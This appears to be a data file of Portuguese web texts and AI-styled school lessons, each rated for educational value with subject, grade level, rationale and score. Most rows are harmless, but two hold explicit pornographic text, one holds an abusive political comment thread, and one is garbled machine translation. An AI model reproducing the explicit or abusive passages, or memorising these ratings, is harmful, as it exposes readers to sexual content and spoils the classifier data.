+Então, da próxima vez que você usar uma régua, pesar um alimento ou verificar as horas, lembre-se: as medidas e grandezas estão presentes em cada detalhe do nosso dia a dia. Entender como elas funcionam nos torna mais conscientes, mais eficientes e mais preparados para enfrentar os desafios do mundo ao nosso redor. Que tal começar a prestar mais atenção nas medidas que você encontra por aí? Quais outras situações do seu dia a dia envolvem grandezas e medidas? Experimente medir objetos na sua casa, calcular distâncias e converter unidades. A matemática está em todo lugar, esperando para ser descoberta!",Matemática,Medidas e grandezas,anos finais (6º ao 9º ano),"O texto apresenta um excelente valor educacional. Introduz o conceito de grandezas e medidas de forma clara e contextualizada, utilizando exemplos do cotidiano. Aborda a importância das unidades de medida padronizadas e a necessidade de conversões. Além disso, explora conceitos de área e volume, incentivando a aplicação prática do conhecimento. A linguagem é acessível e adequada ao ensino fundamental, promovendo o engajamento e a compreensão dos alunos.",5,1.0
+"Veja quando é ou não necessária a extração dos dentes do siso _ Festas & dicas
+Você está em: Início saude Veja quando é ou não necessária a extração dos dentes do siso
+Conhecidos popularmente como dentes do juízo, os dentes do siso geralmente são motivo de preocupação para os jovens, especialmente por conta da dor que podem causar. Até pouco tempo, a extração era a regra geral para evitar problemas. Hoje essa nem sempre é a realidade e vale analisar o seu caso antes de decidir.
+Quando a dor é contínua, extração é a única opção. Foto: iStock, Getty Images
+Dentes do siso devem ser extraídos ou não?
+Atualmente, a orientação geral é a seguinte: se a erupção do dente for completa e ele estiver saudável, bem posicionado e oferecendo boas condições de higiene bucal, poderá ser preservado. Quem explica melhor a questão é o cirurgião-dentista Artur Cerri.
+De acordo com o especialista, a conduta de extrair todo e qualquer dente do siso aumentou agressivamente na década de 50, por conta do acesso facilitado aos antibióticos e equipamentos elétricos. Mas novas diretrizes fizeram o número de extrações despencar a partir do início dos anos 2000.
+“Trata-se de um procedimento doloroso para o paciente, com tempo de recuperação que pode levar até três semanas e necessidade de fazer uso de medicamentos potentes no pós-operatório. Sendo assim, a extração do siso tem de ser muito bem indicada”, aponta Cerri.
+Em alguns casos, porém, a extração ainda se faz necessária. O grande problema é que, na maioria dos pacientes, não há espaço suficiente para que o nascimentos dos dentes ocorra, assim como a completa a erupção num ângulo ideal.
+“Há casos em que ele permanece completamente escondido sob a gengiva – muitas vezes, em posição horizontal. Também pode acontecer de ele emergir parcialmente. Isso pode resultar num problema de grandes proporções no futuro, já que o paciente não terá condições de fazer uma higiene ideal”, esclarece o especialista.
+Por isso, a extração costuma se justificar em casos recorrentes de dor, repetição de infecções, presença de cistos ou tumores, gengivite ou cárie profunda. Cabe ao seu dentista avaliar bem a situação e ajudar você a tomar a decisão certa.
+Se após uma radiografia panorâmica da boca a avaliação do dentista apontar que você deve retirar os sisos, é importante ter atenção nos cuidados necessários após a cirurgia e evitar complicações.
+“Após o procedimento cirúrgico, é normal ocorrer inchaço e dor por cerca de três a quatro dias. Nesse período, é fundamental evitar alimentos quentes e abrir mão das atividades físicas”, aconselha a gerente médica Talita Poli Biason. Ela compartilha ainda outras recomendações gerais:
+Alimentação: nos dias que sucedem a cirurgia, a alimentação deve ser líquida e pastosa. Sopas, purês, vitaminas e sucos evitam desconfortos.
+Medicação: na maioria das vezes, é necessário usar medicamentos para impedir infecções ou inflamações no local da extração. Podem ser usados analgésicos, anti-inflamatórios e, em alguns casos, até antibióticos, de acordo com as orientações médicas.
+Fumo e bebida alcoólica: ambos prejudicam a cicatrização, já que as substâncias tóxicas do cigarro interferem na cura e o álcool irrita a mucosa oral. Portanto, evite até a retirada dos pontos.
+E você, já teve que fazer a extração dos dentes do siso? Conte como foi a sua experiência.",original,original,original,original,3,0.6
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+"Seguridade Social - Dissertações - 50687897
+POLITICA DE SEGURIDADE SOCIAL
+A Constituição da República define seguridade social como “um conjunto integrado de ações de iniciativa dos Poderes Públicos e da sociedade, destinadas a assegurar osdireitos relativos à saúde, à previdência e à assistência social” (art. 194).
+Das contribuições destinadas ao financiamento da seguridade social no âmbito jurídico apresentamos os conceitos decontribuições e tributos. Que consiste em toda prestação pecuniária compulsória, em moeda cujo o valor nela possa exprimir, não constitua sanção ilícito.
+Os tributos são receitas derivadasque o Estado recolhe do patrimônio dos indivíduos, usando do seu poder fiscal (poder tributar), mas controlado por normas de direito público que formam o Direito Tributário.
+No Brasil o Tributo éinserido no contexto social em seus diversos componentes, como impostos, taxas e contribuição. É necessário a instituições de tributos para a consecução de melhorias na vida social, porém, desde que bemempregado os fundos arrecadados pelas esferas de Governos Municipais, Estaduais e a União.
+O tributo é caracterizado como uma obrigação de contribuir imposta a pessoas físicase jurídicas de recolher valores ao Estado ou entidades, criada por lei e de natureza não sancionatória, criada compulsoriamente, ou seja, não depende de um acordo de vontades, na qual o contribuintedeve entregar à Fazenda Pública uma soma de dinheiro ou equivalente, se a lei assim o permitir, cuja cobrança se opera por meio de ato administrativo vinculado.
+A tributação temfinalidade: Fiscal quando o principal objetivo é a arrecadação de recursos financeiros para o Estado; Paráfiscal que visa custear atividades de interesse público desenvolvidas por entidadesparaestatais, como as que cuidam da previdência social (INSS) e da fiscalização das profissões regulamentadas; Extrafiscal é utilizada com finalidade adicional, que é a de incentivar ou desestimular...
+Capitulo1 Acetatos ALGA C T2 CarlosSaiago O Velho e o Mar Ernest Hemingway Nocoes De Embriologia Dados Demográficos Figueira de Castelo Rodrigo John Rawls E Um Estado Justo Trabalho Direito
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+"Olá, pequenos aventureiros das palavras! Já pensaram em como as histórias surgem? Elas não caem do céu, sabia? Alguém as inventa, as escreve e as compartilha. E hoje, vamos aprender juntos como criar as nossas próprias histórias! Preparados?
+
+Primeiro, imagine um mundo todinho seu. Que tipo de lugar é esse? É uma floresta mágica cheia de fadas? Ou uma cidade futurista com carros voadores? Pense nas cores, nos sons e nos cheiros desse lugar. Quanto mais detalhes você imaginar, mais fácil será criar a sua história.
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+Agora, todo mundo precisa de um personagem principal, não é mesmo? Quem vai ser o herói ou a heroína da sua história? Vai ser um menino corajoso, uma menina inteligente, um cachorro falante ou até mesmo uma árvore que anda? Dê um nome legal para ele ou ela e pense em como essa personagem se veste, como ela age e o que ela mais gosta de fazer.
+
+Toda boa história tem um problema, um desafio que o personagem precisa enfrentar. Qual vai ser o desafio do seu personagem? Ele precisa salvar o mundo de um vilão malvado? Encontrar um tesouro perdido? Ou simplesmente fazer um novo amigo? Lembre-se que o desafio precisa ser emocionante e dar vontade de continuar lendo para saber o que vai acontecer!
+
+E como o personagem vai resolver esse problema? Ele vai usar a sua inteligência, a sua coragem ou a ajuda dos seus amigos? Pense em várias ideias e escolha a mais legal e surpreendente. Não tenha medo de usar a sua imaginação!
+
+Para deixar a história ainda mais interessante, você pode criar outros personagens que vão ajudar ou atrapalhar o personagem principal. Pode ser um amigo leal, um rival engraçado ou um monstro assustador. Cada personagem pode ter uma personalidade diferente e uma função importante na história.
+
+Depois de ter todas essas ideias na cabeça, chegou a hora de começar a escrever! Não se preocupe em fazer tudo perfeito de primeira. Escreva tudo o que vier à mente, sem se preocupar com erros de português ou com a ordem dos acontecimentos. O importante é colocar a sua história no papel (ou na tela do computador!).
+
+Quando terminar de escrever a primeira versão, leia a história com atenção. Você gostou do que escreveu? Tem alguma coisa que você gostaria de mudar ou acrescentar? Peça para um adulto ou um amigo ler a sua história e dar a opinião dele. Eles podem te dar ideias novas e te ajudar a melhorar a sua história.
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+Lembre-se que escrever é como brincar: quanto mais você pratica, mais divertido fica! Então, não tenha medo de errar, de experimentar e de usar a sua imaginação. O mundo está cheio de histórias esperando para serem contadas. E a sua pode ser a próxima!
+
+Agora, me diga: Se você pudesse criar qualquer história, qual seria? Qual seria o personagem principal e qual seria o desafio que ele enfrentaria? Que tal começar a escrever agora mesmo? Pegue um lápis, um papel e deixe a sua imaginação voar!",Português,Produção textual,anos iniciais (1º ao 5º ano),"O trecho possui alto valor educacional, especialmente para os anos iniciais do ensino fundamental. Ele introduz de forma lúdica e acessível o processo de criação de histórias, incentivando a imaginação, a criatividade e a escrita. A linguagem é adequada para crianças, e as dicas são práticas e inspiradoras. O texto aborda elementos básicos da narrativa, como personagens, cenários, desafios e soluções, de maneira clara e envolvente. Considero-o excelente para uso em sala de aula.",5,1.0
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+"Olá, pequenos exploradores! Já pararam para pensar de onde vêm as pessoas que moram na nossa cidade, no nosso estado, no nosso Brasil? Nosso país é muito grande e cheio de gente diferente, com costumes e histórias incríveis! Vamos embarcar numa aventura para descobrir um pouco mais sobre a população e a cultura do Brasil?
+
+Imagine que o Brasil é como uma grande sala de aula, onde cada aluno tem um jeito de ser, uma cor de pele, uma comida preferida e uma história para contar. Algumas pessoas têm os olhos puxados, outras têm a pele mais escura, outras adoram comer pizza e outras preferem um bom prato de feijão com arroz. Essa mistura toda é o que torna o Brasil tão especial e rico em cultura!
+
+No começo, os povos indígenas já viviam aqui, com suas próprias línguas, crenças e costumes. Depois, chegaram os portugueses, que vieram de um país bem distante, do outro lado do oceano. Eles trouxeram sua língua, a religião católica e muitos outros costumes. Mais tarde, muitos africanos foram trazidos para o Brasil, contra a sua vontade, para trabalhar como escravos. Eles trouxeram sua música, sua dança, sua culinária e sua religião, que também influenciaram muito a nossa cultura.
+
+Com o passar do tempo, pessoas de outros países, como italianos, alemães, japoneses e muitos outros, também vieram morar no Brasil. Cada um trouxe um pouquinho da sua cultura, que se misturou com as culturas já existentes, formando essa grande mistura que é a cultura brasileira. Por exemplo, a pizza que tanto amamos veio da Itália, e o sushi que comemos no restaurante japonês também!
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+A população do Brasil é formada por essa mistura de povos e culturas. É por isso que somos tão diferentes uns dos outros. Mas, apesar das diferenças, todos nós somos brasileiros e devemos respeitar e valorizar a cultura de cada um. Afinal, é essa diversidade que torna o nosso país tão especial!
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+Agora, pensem um pouquinho: como a cultura da sua família contribui para a cultura do Brasil? Qual é a sua comida preferida? Que música você mais gosta de ouvir? Qual é a sua brincadeira favorita? Todas essas coisas fazem parte da nossa cultura e nos tornam únicos e especiais!
+
+E assim, meus pequenos exploradores, chegamos ao fim da nossa aventura. Espero que tenham aprendido um pouco mais sobre a população e a cultura do Brasil. Lembrem-se sempre de respeitar e valorizar a diversidade cultural do nosso país, pois é ela que nos torna tão ricos e especiais!",Geografia,População e cultura,anos iniciais (1º ao 5º ano),"O trecho possui alto valor educacional, pois introduz de forma clara e acessível o tema da diversidade cultural brasileira para crianças. A analogia com a 'sala de aula' facilita a compreensão. Aborda a contribuição de diferentes povos (indígenas, portugueses, africanos, italianos, etc.) na formação da cultura nacional, incentivando o respeito e a valorização das diferenças. As perguntas ao final estimulam a reflexão pessoal e a conexão com o tema. O estilo é adequado ao público-alvo.",5,1.0
+"Minha esposa gorda e porca peidando na minha cara
+Morena peituda está no cio. Ela está doidinha pra meter e quer piroca. O cara mostra disposição e dá uma surra na buceta da gostosa, que berra de prazer antes de tomar uma esporrada na cara.
+O coroa fica sentado ao lado dela só olhando o corpinho sarado da putinha. Ela percebe e ataca ele com seu charme, vai pra cima tirando a roupa e pega firme na benga do coroa deixando ele",original,original,original,original,0,0.0
+"Tramita na Câmara dos Deputados o Projeto de Lei 2343/20, que altera a tabela progressiva do desconto na fonte do Imposto de Renda das Pessoas Físicas (IRPF) durante a pandemia do novo coronavírus.
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+Projeto altera faixa de isenção do Imposto de Renda durante a pandemia do novo coronavírus.
+Tramita na Câmara dos Deputados o Projeto de Lei 2343/20, que altera a tabela progressiva do desconto na fonte do Imposto de Renda das Pessoas Físicas (IRPF) durante a pandemia do novo coronavírus.
+Isenção Imposto de Renda
+Imposto de Renda
+Projeto altera faixa de isenção do Imposto de Renda durante a pandemia do novo coronavírus.
+Tramita na Câmara dos Deputados o Projeto de Lei 2343/20, que altera a tabela progressiva do desconto na fonte do Imposto de Renda das Pessoas Físicas (IRPF) durante a pandemia do novo coronavírus.
+Conforme o texto, a medida consideraria a partir do mês de março até enquanto durar o estado de calamidade pública reconhecido pelo Congresso Nacional, previsto até dezembro.
+Isenção Imposto de Renda
+A proposta em tramitação na Câmara dos Deputados altera a Lei 11.482/07 e estabelece uma alíquota de 27,5% sobre salários acima de R$ 5.000,00, com parcela a deduzir de R$ 1.375,00.
+Desde 2015 são cinco faixas progressivas, de R$ 1.903,38 (isentos) até acima de R$ 4.664,68 – no caso, a alíquota é de 27,5% e parcela a deduzir, R$ 869,36.
+“Em vista do aperto orçamentário sofrido pelas famílias brasileiras, a proposta eleva o limite de isenção da tabela progressiva mensal do IRPF de R$ 1.903,98 para R$ 5.000,00”, disse o autor da proposta, deputado Jorge Solla.
+“O foco são contribuintes assalariados ainda não contemplados por ações que aliviem os efeitos da Covid-19”, conclui.
+Imposto de Renda
+Desde 2015, a tabela do Imposto de Renda não sofre alterações. De 1996 a 2014, a tabela foi corrigida em 109,63%.
+O IPCA acumulado, no entanto, está em 327,37%. A falta de correção na tabela prejudica principalmente os contribuintes de menor renda, que estariam na faixa de isenção, mas são tributados em 7,5% por causa da defasagem.
+Segundo o Sindifisco, o atraso na correção da tabela leva a um efeito cascata que não apenas aumenta o imposto descontado na fonte como diminui as deduções.
+Fonte: Contábeis
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+"8 sinais de um homem que é dedicado a você como um filhote - Relacionamento - 2020
+Um homem dedicado faz você se sentir a mulher mais bonita em qualquer lugar. Ele nunca faz você duvidar de si mesmo. Ele pede que você se ame.
+O homem que é dedicado a você remove todos os aplicativos de namoro. Ele se livra de seus antigos aposentos, porque entende que não precisa mais deles. Ele não vai encontrar um substituto para você. E ele sabe que não precisa de um plano alternativo para o caso de o relacionamento se desmoronar, porque ele acredita que eles durarão a vida toda.
+O homem que te traiu pensa não só em sexo. Ele aprecia sua mente, seu senso de humor, a personalidade escondida sob sua pele. Ele gosta de passar tempo com você, mesmo quando você está coberto com camadas de roupa. Ele acha que a intimidade é mais do que despir. É quando você dá as mãos, abraça e ouve com cuidado um ao outro.
+Um homem que é dedicado a você pensa em você, mesmo quando você não está por perto. Ele envia mensagens curtas, mesmo quando ele está com amigos. Ele sempre pergunta como você está para ter certeza de que está indo bem. Ele presta atenção em você todos os dias, não apenas quando você está na mesma sala com ele.
+O homem que é dedicado a você familiariza você com todos, então todo mundo sabe que você é um casal. Ele te apresenta a sua família. Ele convida você a tomar uma bebida com seus amigos. Ele leva você para atividades de trabalho onde todos os seus colegas já sabem seu nome. Ele fala sobre você para todos que ele conhece, porque ele orgulhosamente anuncia que seu coração está ocupado por você.
+Um homem que é dedicado a você responde a todas as suas perguntas, não tentando se esquivar ou sair de uma conversa desconfortável. Ele lhe diz a verdade, mesmo quando será difícil ouvi-lo. Ele respeita você o suficiente para lhe dar todas as informações e para ser honesto com você, e não para embelezar a história para se entregar à melhor luz.
+O homem que é dedicado a você tem princípios morais. Ele não acredita em mentiras, enganos ou manipulações. Sempre que ele ouve sobre alguém que foi infiel, ele nunca o justifica. Ele expressa sua decepção porque não acredita que alguém mereça traição e traição.
+Um homem que é dedicado a você nunca esconde nada de você. Ele lhe dá uma visão completa do seu mundo interior. Ele permite que você veja seus lados negativos, que ele esconde do resto do mundo. Você não precisa detalhar para obter respostas. Ele lhe dá qualquer informação que você deseja ouvir. Ele nunca esconde nada de você, especialmente o que está em seu coração.
+O homem que é dedicado a você é aquele em quem você pode confiar. Quando ele chega em casa mais tarde do que você esperava, você não está preocupado sobre onde e com quem ele estava. Você sabe que nada de suspeito aconteceu. Você sabe que houve engarrafamentos fortes, ou muito trabalho, ou perdeu a noção do tempo com seus amigos - ou então sabe que ele não se permitirá mudar você, mesmo depois de um milhão de anos. Você acredita nele.
+Copyright 2020 \ none \ 8 sinais de um homem que é dedicado a você como um filhote",original,original,original,original,0,0.0
+"Etiquetas: Arqueologia, Arquitectura, Cidade do Porto, Escola do Porto, Europa, Fotografia, Futebol Clube do Porto, Globalização, Pensamento Português, Pintura, Turismo
+Este é o último post deste mês.
+Ah, o texto que me deu mais gozo fazer foi...
+Porém, eu próprio tenho dificuldade em escolher o melhor texto, porque todos eles me deram gozo.
+AH, os vídeos do Pedro do Porto também merecem um prémio de revelação, porque trazem outra perspectiva do PORTO.
+Um abraço para o Vitorino Ventura que editou um texto neste blog..., abraços para USA, ALEMANHA, HOLANDA, INGLATERRA, FRANÇA, ITÁLIA, SUÉCIA, DINAMARCA, RÚSSIA, SUIÇA, MOÇAMBIQUE, ANGOLA, CANADÁ, BRASIL, PORTUGAL, ETC...
+Todos os textos sobre fracasso e traição merecem ser lidos, bem como o Cesário Verde.",original,original,original,original,1,0.2
+"Video Porno GOZANDO NA BOCA DA AMIGA 1 min 41 sec Xxx Videos - Xx Porno
+HomeXvideos Porno E Videos De Sexo BrasileiroVideo Porno GOZANDO NA BOCA DA AMIGA 1 min 41 sec Xxx Videos Video Porno GOZANDO NA BOCA DA AMIGA 1 min 41 sec Xxx Videos	Xvideos Porno E Videos De Sexo Brasileirosetembro 10, 2016 Tatiana Sousa0 comments6 views	amiga, boca, boca amiga, gozando, gozando boca	Publicidade	Video Porno GOZANDO NA BOCA DA AMIGA 1 min 41 sec Compartilha aí !Clique para compartilhar no Facebook(abre em nova janela)Clique para compartilhar no WhatsApp(abre em nova janela)Compartilhe no Google+(abre em nova janela)Clique para compartilhar no Twitter(abre em nova janela)Compartilhe no Skype(abre em nova janela)Clique para compartilhar no LinkedIn(abre em nova janela)Clique para compartilhar no Tumblr(abre em nova janela)Clique para compartilhar no Reddit(abre em nova janela)Clique para compartilhar no Telegram(abre em nova janela)Clique para compartilhar no Pocket(abre em nova janela)Clique para enviar por email a um amigo(abre em nova janela)
+setembro 26, 20160 comments	Lesbicas Duas meninas super gostosas transando Xx Video 10 min",original,original,original,original,0,0.0
+"Olá, pequenos aventureiros! Já pararam para pensar de onde vêm as histórias que tanto amamos? Muitas delas nascem da imaginação de autores brasileiros, pessoas que usam as palavras para pintar mundos fantásticos e nos ensinar lições importantes. Hoje, vamos embarcar juntos em uma viagem pelo universo da literatura brasileira, descobrindo alguns tesouros escondidos em livros e contos. 
+
+A literatura brasileira é como um grande baú cheio de brinquedos mágicos. Dentro dele, encontramos personagens divertidos, lugares incríveis e histórias que nos fazem rir, chorar, pensar e sonhar. Já ouviram falar do Sítio do Picapau Amarelo, criado por Monteiro Lobato? Lá, a boneca Emília apronta todas, Pedrinho e Narizinho vivem aventuras emocionantes e a Cuca nos faz tremer de medo (mas um medo gostoso!). Essas histórias são como um abraço quentinho que nos conecta com a nossa cultura e com a nossa infância. 
+
+Outro exemplo maravilhoso é a poesia de Vinicius de Moraes. Ele transformava bichos em personagens de poemas, como no famoso ""O Pato"". Que tal imaginar um pato engraçado que sabe latim? A literatura nos permite brincar com as palavras e criar imagens surpreendentes na nossa mente. Além disso, as histórias nos ajudam a entender melhor o mundo ao nosso redor. Elas nos mostram diferentes formas de viver, de pensar e de sentir. Através dos livros, podemos viajar para outros países, conhecer outras culturas e aprender com as experiências de pessoas diferentes de nós. 
+
+E por que a literatura é tão importante? Porque ela nos ajuda a desenvolver a nossa imaginação, a aprender novas palavras e a expressar os nossos sentimentos. Quando lemos um livro, nós estamos exercitando o nosso cérebro e nos tornando pessoas mais criativas e inteligentes. Além disso, a leitura nos proporciona momentos de prazer e nos ajuda a relaxar. Que tal, depois de ler este texto, procurar um livro de um autor brasileiro e se aventurar em uma nova história? Você pode começar com contos folclóricos, fábulas ou poemas. O importante é abrir o seu coração para a magia das palavras. 
+
+A literatura brasileira é um presente para todos nós. Ela nos ensina, nos diverte e nos conecta com a nossa história e com a nossa identidade. Então, que tal embarcar nessa aventura literária e descobrir todos os tesouros que ela tem a oferecer? Qual livro brasileiro você gostaria de ler hoje? Que personagens te chamam mais a atenção? A leitura é uma jornada incrível que dura a vida toda. Aproveite cada página, cada palavra, cada história! E lembre-se: a imaginação é o nosso maior superpoder!",Português,Literatura brasileira,anos iniciais (1º ao 5º ano),"O trecho recebe a pontuação máxima (5) por apresentar alto valor educacional e ser perfeitamente adequado para o ensino fundamental. Introduz a literatura brasileira de forma lúdica e envolvente, incentivando a leitura e explorando a imaginação. O texto é claro, consistente e apropriado para a faixa etária, abordando a importância da literatura para o desenvolvimento cognitivo e emocional das crianças.",5,1.0
+"Sinalização Temporária de Obras e Obstáculos na Via Pública » Forprev
+As obras e obstáculos na via pública, pelo perigo que representam, devem ser sinalizados de forma adequada tendo em vista assegurar condições de segurança aos trabalhadores, viaturas e peões. Tendo como destinatários os Diretores e Técnicos de Obra, Encarregados e Chefes de Equipa, bem como todos os profissionais com interesse nesta matéria, pretende-se com esta ação de formação dotar os participantes com os conhecimentos relativos aos princípios e regras associadas à implantação de sinalização temporária de obras e obstáculos na via pública. Outros indivíduos, de ambos os sexos, que tenham interesse nesta área de formação.
+Decreto-lei nº 141/95 de 14 de Junho; Portaria 1456-A/95 de 11 de Dezembro; Decreto Regulamentar nº 22-A/98, de 1 de Outubro.
+Segurança no TrabalhoSegurança AlimentarMedicina do TrabalhoMedidas de Auto ProteçãoControlo de PragasAmbienteFormação",original,original,original,original,3,0.6
+"A Casa da Mãe Joana: Buáaaaaaa ...
+""O Mascate"" domingo, 31 outubro, 2010
+Jú ele chora por causa da possibilidade de que ele terá que trabalhar para viver. Se o Serra ganhar vai acabar a mamata do bando de vagabundos vermelhos que estão sugando o Brasil, entre eles o Vagabundo Mór, Sebento da Selva, O Suarento.
+Jurema Cappelletti domingo, 31 outubro, 2010
+Ah, Fernando! Se o Serra ganhar... muita gente vai ter que trabalhar. Até a hora em que o trabalho deixará de ser visto como sofrimento.
+Já dei adeus ao LI.
+VOCE CONTINUA SUA MARCHA CONTRA DILMA E LUIS INACIO.
+ENTENDO ISSO COMO UMA 'DOENÇA POR DENTRO'. ALGUEM INCOMPETENTE QUE POR NÃO SABER LIDAR COM SUAS PROPRIAS FRUSTRAÇÕES TENTA DESCARREGÁ-LAS EM ALGUEM. CASO PATOLOGICO E PSIQUIATRICO.
+FALAR MAL DA DILMA É SER UMA PESSOA ATRASADA NO TEMPO AGORA E VC AINDA INSISTE NISSO.
+É LAMENTÁVEL. MAS ASSIM COMO HÁ ANONIMOS NA WEB HÁ TAMBEM PESSOAS DOENTES E DOENTIAS QUE USAM O ESPAÇO SÓ PARA MOSTRAR O QUE TEM POR DENTRO, OU SEJA NADA. ABSOLUTAMENTE BADA,
+VOCE DÁ PENA!
+Sr./sra Anônimo,
+Dê-se por muito satisfeito por poder se expressar aqui, nesse espaço REALMENTE DEMOCRÁTICO, sem ser censurado.
+O mesmo, porém, NÃO acontece num site que se considera o Maior portal da esquerda, etc, etc: esta semana postei por lá três comentários sobre três artigos e NENHUM foi publicado, embora fossem educados, mas contrários à linha ideológica daquele - agora sei! - gueto. Pois bem, desconfiada de censura, voltei a comentar um deles, dessa vez através de um elogio ridículo e irônico.Inventei nome e e-mail. Caramba! Foi publicado!!! Elogio? Lá aceitam qq um, porque a necessidade de baba-ovismo ali é tanta que não percebem a ironia e o deboche de um... Tô de alma lavada no que se refere a esses esquerdopatas, mostraram bem quem são! Esses, sim, os doentes contagiosos que tentam minar a saúde de incautos que navegam por aquelas águas estagnadas no tempo, disseminando doenças exóticas, já até erradicadas em seus domínios originais. Ô raça cinza, triste, bolorenta e sem humor! Vai ver por isso usam vermelho, para dar cor a suas tristes vidas...
+Machado domingo, 31 outubro, 2010
+Eram duas merdas disputando o poder.Agora é tapar as narinas pra aguentar 4 anos de fedentina.
+Anônimo mostra seu péssimo caráter como habitualmente.
+Anônimo deve participar das boquinhas já conhecidas pela Polícia Federal.MENSALÃO-INVASÃO DE PRIVACIDADE--NEGOCIATAS,etc...OU SERÀ QUE ESSAS SÃO MENTIRAS DOS MEIOS DE COMUNICAÇÃO???
+Jurema Cappelletti segunda-feira, 01 novembro, 2010
+Fernando, Dora e TOM,
+Se não tivemos como mostrar a esse povo que elegeu uma desconhecida para o mais alto cargo do país, TEMOS QUATRO ANOS PARA DIVULGAR A VERDADEIRA FACE DE LI.
+O Brasil não tem partidos ideològicamente definidos,mas grupos de interessses variados tendo em comum, apenas a vontade de enriquecimento rápido.Nunca voto em partido,mas no candidato.Votei em:Marina--Sérgio Cabral--Pedro Paulo e Delfin Aguiar.Sob protesto votei em Picciani e Lindberg.porque os outros candidatos à senador eram piores.PV ,DEM PT um decada partido e 2 do PMDB.Agora votei Serra do PSDB.O jeito agora é torcer pra DILMA dar certo.pois o Brasil deve ser justo e bom para a vida de nossos descendentes.Náo me iludo com partidos políticas.Voto no que considero melhor e em último caso no menos pior.",original,original,original,original,1,0.2
+"Você já parou para pensar em quem vivia no Brasil antes da chegada dos portugueses? E como vivem os povos indígenas hoje em dia? A história do Brasil é muito mais rica e diversa do que imaginamos, e os povos indígenas são parte fundamental dessa história. Eles são os habitantes originários desta terra, e suas culturas, tradições e conhecimentos são um tesouro que devemos valorizar e respeitar.
+
+Antes de 1500, existiam milhares de povos indígenas diferentes, cada um com sua própria língua, costumes e crenças. Eles viviam em harmonia com a natureza, utilizando os recursos da floresta de forma sustentável. A agricultura, a pesca e a caça eram atividades importantes para a sua sobrevivência, mas também a arte, a música e os rituais religiosos desempenhavam um papel essencial em suas vidas.
+
+Com a chegada dos portugueses, a vida dos povos indígenas mudou drasticamente. Muitos foram mortos em guerras, escravizados ou morreram por causa de doenças trazidas pelos europeus. Suas terras foram invadidas e seus costumes, muitas vezes, desrespeitados. Apesar de toda essa violência, os povos indígenas resistiram e continuaram lutando para preservar sua cultura e seus direitos.
+
+Hoje em dia, ainda existem muitos povos indígenas no Brasil, espalhados por todo o território nacional. Alguns vivem em terras demarcadas, protegidas por lei, onde podem manter seus costumes e tradições. Outros vivem em áreas urbanas, buscando novas oportunidades e enfrentando os desafios da vida moderna. Em comum, todos eles compartilham a luta pelo reconhecimento de seus direitos e pela valorização de sua cultura.
+
+É importante lembrar que os povos indígenas não são todos iguais. Cada povo tem sua própria história, sua própria língua e seus próprios costumes. Alguns são mais conhecidos, como os Yanomami, os Guarani e os Kayapó, mas existem muitos outros que merecem ser reconhecidos e valorizados. O que todos eles têm em comum é a ligação profunda com a terra e a preocupação com a preservação do meio ambiente.
+
+Que tal pesquisar sobre um povo indígena que vive perto da sua cidade? Ou ler um livro escrito por um autor indígena? Descobrir a história e a cultura dos povos indígenas é uma forma de valorizar a diversidade do nosso país e de construir um futuro mais justo e igualitário para todos. Pense nisso: O que podemos aprender com os povos indígenas sobre respeito à natureza e convivência em comunidade? Como podemos contribuir para a valorização da cultura indígena e para a defesa de seus direitos?",História,Povos indígenas,anos finais (6º ao 9º ano),"O texto apresenta informações básicas relevantes sobre os povos indígenas no Brasil antes e depois da chegada dos portugueses, introduzindo conceitos importantes relacionados ao currículo escolar, como a diversidade cultural e a importância da preservação da cultura indígena. O texto é coerente, com estilo de escrita claro e consistente, adequado para o ensino fundamental. As perguntas ao final estimulam a reflexão e pesquisa, aumentando o valor educacional do trecho. Por isso, atribuo a nota máxima.",5,1.0
+" Imagem de colônia de 64 mil tartarugas marinhas é capturada por drone
+Imagem de colônia de 64 mil tartarugas marinhas é capturada por drone
+POR Bruno Dias EM Mundo Animal 15/06/20 às 15h25
+A tartaruga é um réptil que tem o corpo coberto por um casco e que já caminha nesse planeta há muito tempo. Quando pensamos nesses animais, logo, nos remetemos à lentidão. No mundo, existem aproximadamente 250 espécies, ou tipos, de tartarugas. Elas também estão presentes, em quase todos os tipos de habitat.
+Todo réptil que tem uma carapaça nas costas é classificado como testudines ou quelônios. E dentre eles, existem as tartarugas, cágados e jabutis. Mesmo que a maioria das pessoas pensem que todos são uma coisa, cada um desses tipos tem suas próprias características que são divergentes.
+Esses animais despertam curiosidade e proporcionam alguns eventos que são maravilhosos de se ver. Como por exemplo os filhotes de tartarugas caminhando em direção ao mar.
+Além desse, outro evento que é bastante lindo de se ver. Basicamente, é quando 64 mil tartarugas nadam juntas. É praticamente uma perfeição. Nós podemos ver esse evento por conta do governo estadual de Queensland, na Austrália.
+O Departamento do Meio Ambiente compartilhou a filmagem impressionante de uma colônia gigantesca de tartarugas marinhas na ilha de Raine. Essa ilha é onde elas fazem seus ninhos.
+— Queensland Environment (@QldEnvironment) June 9, 2020
+Os animais vistos no vídeo são as tartarugas-verdes, que também são conhecidas como uruanã ou aruanã. Essa espécie está ameaçada de extinção por conta de vários fatores como a caça, colheita de ovos, acidentes com barcos, redes de pescadores que não tem dispositivos para exclusão de tartarugas, poluição e perda do seu habitat.
+Justamente por todos esses fatores e seu risco iminente de extinção que os cientistas resolveram observá-las. Eles fazem isso com a esperança de conseguir ajudá-las a sobreviverem.
+É claro que contar o número de tartarugas em uma colônia não é uma tarefa fácil. Mas existem métodos para fazê-lo.
+""Métodos anteriores de pesquisa populacional envolviam pintar uma faixa branca na casca das tartarugas-verdes quando elas estavam nidificando na praia. A tinta não é tóxica e é lavada em alguns dias. Depois, a partir de um pequeno barco, tartarugas pintadas e não pintadas eram contadas. Mas os olhos são atraídos muito mais para uma tartaruga com uma faixa branca brilhante do que para uma tartaruga sem pintura, resultando em contagens tendenciosas e precisão reduzida. Tentar contar com precisão milhares de tartarugas pintadas e não pintadas de um pequeno barco em condições turbulentas é difícil"", explicou Andrew Dunstan, membro do Departamento de Meio Ambiente e Ciência do governo de Queensland.
+Por esse motivo, em dezembro de 2019, os pesquisadores resolveram inovar e usar um novo método para fazer essa contagem. Eles usaram imagens de drones. O drone fotografou uma enseada de corais de aproximadamente 32 hectares, localizado na borda externa da Grande Barreira de Corais. Ela fica a 620 quilômetros a noroeste de Cairns, na Austrália.
+Segundo Dunstan, usar o drone é mais fácil, seguro e mais preciso. Além de economizar um tempo valioso em campo e diminuir um potencial impacto na natureza. Outra vantagem é que os dados podem ser armazenados imediatamente e de forma permanente.
